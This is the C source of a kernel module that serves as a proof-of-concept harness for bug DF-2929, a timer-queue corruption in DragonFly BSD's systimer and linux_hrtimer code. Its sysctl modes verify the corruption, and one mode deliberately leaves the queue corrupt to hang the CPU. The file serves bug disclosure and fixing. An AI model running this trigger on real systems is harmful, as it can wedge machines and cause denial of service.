DF-2929 / df2929_mod.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 | /* * DF-2929 โ kern_systimer / linux_hrtimer re-arm-while-armed corruption * proof-of-concept (KLD harness). * * Replicates the exact engine sequence performed by * sys/dev/drm/linux_hrtimer.c:hrtimer_start_range_ns() (line 109-118) when * a DRM driver calls hrtimer_start() on an already-armed timer โ which * intel_uncore.c:___force_wake_auto() (line 1165-1176) does on EVERY * auto-forcewake register access via fw_domain_arm_timer() (line 74-78): * * systimer_init_oneshot(&t, cb, d, 4000); // arm t (ONQUEUE, linked) * ... * systimer_init_oneshot(&t, cb, d, 1000); // bzero() of a QUEUED node * // + re-add -> ghost link * * systimer_init_oneshot() (sys/kern/kern_systimer.c:359-371) bzero()s the * struct at :363 with no SYSTF_ONQUEUE protection; the bzero also clears * the very flag systimer_add()'s KKASSERT at :148 checks, so the violation * is silent even on INVARIANTS kernels. * * Result on the owning cpu's gd_systimerq: * - the old neighbours keep stale links to the zeroed node (ghost link) * - forward traversal hits a cycle (st <-> P) and node N is orphaned * - the dispatcher re-executes already-fired one-shots through the ghost * link (in production: BUG_ON in __hrtimer_function / infinite * dispatch loop -> clock hang) * * Modes (sysctl kern.df2929_run=N): * 1 = control: arm P/st/N (3/4/5ms), verify queue integrity, clean up * 2 = exploit: same, but re-arm st (1ms) like hrtimer_start on an armed * timer; verify integrity (EXPECT CORRUPTION), clean up, report * 3 = impact: re-arm and RETURN WITHOUT cleanup so the dispatch loop * runs on the next timer interrupt (expect runaway fire counts or * wedge; fire counters readable with mode 4) * 4 = read fire counters */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/systimer.h> #include <sys/globaldata.h> #include <sys/thread2.h> #include <sys/taskqueue.h> #include <linux/hrtimer.h> static struct systimer t_p, t_st, t_n; static volatile long f_p, f_st, f_n; static struct hrtimer dht; static volatile long dht_fires; static enum hrtimer_restart dht_func(struct hrtimer *t) { dht_fires++; return (HRTIMER_NORESTART); } static void cb(systimer_t info, int in_ipi __unused, struct intrframe *frame __unused) { if (info == &t_p) f_p++; else if (info == &t_st) f_st++; else f_n++; } #define MAXHOPS 24 static int df2929_run(SYSCTL_HANDLER_ARGS) { int mode = 0; int error, hops, seen_st, seen_p, rev_st; systimer_t cur; globaldata_t gd; error = sysctl_handle_int(oidp, &mode, 0, req); if (error != 0 || req->newptr == NULL) return (error); /* * NOTE: no lwkt_setcpu_self() here โ migrating a sysctl thread * mid-sysctl corrupts lockmgr bookkeeping (observed: "lockmgr: * LK_RELEASE: no lock held"). The whole sequence runs on whatever * cpu the sysctl executes on; crit_enter() keeps us there. */ gd = mycpu; if (mode == 4) { /* no migration: cpu may be wedged by mode 3 */ kprintf("DF2929: fires P=%ld st=%ld N=%ld hrtimer=%ld\n", f_p, f_st, f_n, dht_fires); return (0); } if (mode == 5) { /* * Real in-tree wrapper: exactly what intel_uncore's * fw_domain_arm_timer() does on every auto-forcewake * register access โ hrtimer_start_range_ns() twice within * the timer's 1ms window. */ crit_enter(); hrtimer_init(&dht, CLOCK_MONOTONIC, HRTIMER_MODE_REL); dht.function = dht_func; hrtimer_start_range_ns(&dht, 1000000, 0, HRTIMER_MODE_REL); /* second start while still armed (100us later) */ hrtimer_start_range_ns(&dht, 1000000, 0, HRTIMER_MODE_REL); { int hops = 0, seen = 0, ghost; systimer_t cur; struct systimer *dst = &dht.st; for (cur = TAILQ_FIRST(&mycpu->gd_systimerq); cur != NULL && hops < MAXHOPS; cur = TAILQ_NEXT(cur, node)) { if (cur == dst) seen++; hops++; } ghost = (dst->node.tqe_prev != NULL); kprintf("DF2929 mode=5: hrtimer path: hops=%d " "dht.st seen=%d onqueue-flag=%d => %s\n", hops, seen, (dst->flags & SYSTF_ONQUEUE) ? 1 : 0, (seen > 1 || hops >= MAXHOPS) ? "QUEUE CORRUPT" : "queue ok"); } crit_exit(); /* let the armed timer fire (taskqueue drains) then cancel */ tsleep(&dht, 0, "df2929a", hz / 10); hrtimer_cancel(&dht); kprintf("DF2929 mode=5: cancelled, dht_fires=%ld\n", dht_fires); return (0); } crit_enter(); f_p = f_st = f_n = 0; /* queue: P(+3ms) -> st(+4ms) -> N(+5ms) */ systimer_init_oneshot(&t_p, cb, NULL, 3000); systimer_init_oneshot(&t_st, cb, NULL, 4000); systimer_init_oneshot(&t_n, cb, NULL, 5000); if (mode == 2 || mode == 3) { /* * hrtimer_start_range_ns() on the still-armed timer: * bzero() of the queued node + fresh sorted insert. */ systimer_init_oneshot(&t_st, cb, NULL, 1000); } /* structural integrity walk (forward, cycle-limited) */ hops = 0; seen_st = 0; seen_p = 0; for (cur = TAILQ_FIRST(&gd->gd_systimerq); cur != NULL && hops < MAXHOPS; cur = TAILQ_NEXT(cur, node)) { if (cur == &t_st) seen_st++; if (cur == &t_p) seen_p++; hops++; } { int rhops = 0; rev_st = 0; for (cur = TAILQ_LAST(&gd->gd_systimerq, systimerq); cur != NULL && rhops < MAXHOPS; cur = TAILQ_PREV(cur, systimerq, node)) { if (cur == &t_st) rev_st++; rhops++; } kprintf("DF2929 mode=%d: reverse hops=%d seen_st=%d\n", mode, rhops, rev_st); } /* * Ghost link: P->next still points at st while st->prev no longer * points back at P (one-sided link left by the bzero+re-insert). */ { int ghost = (TAILQ_NEXT(&t_p, node) == &t_st && t_st.node.tqe_prev != &t_p.node.tqe_next); kprintf("DF2929 mode=%d: forward hops=%d seen_st=%d seen_p=%d " "P->next==st:%d st->prev!=P:%d => %s\n", mode, hops, seen_st, seen_p, TAILQ_NEXT(&t_p, node) == &t_st, t_st.node.tqe_prev != &t_p.node.tqe_next, (seen_st > 1 || hops >= MAXHOPS || ghost) ? "QUEUE CORRUPT" : "queue ok"); } if (mode != 3) { /* cleanup on the corrupt queue (best effort, may refire) */ systimer_del(&t_st); systimer_del(&t_p); systimer_del(&t_n); crit_exit(); kprintf("DF2929: cleaned up. fires P=%ld st=%ld N=%ld " "(st fired >1x == double-dispatch)\n", f_p, f_st, f_n); } else { crit_exit(); kprintf("DF2929: left corrupt queue armed; watch fires " "(mode 4) / console\n"); } return (0); } SYSCTL_PROC(_kern, OID_AUTO, df2929_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df2929_run, "I", "DF-2929 systimer re-arm corruption harness"); MODULE_DEPEND(df2929, drm, 1, 1, 1); |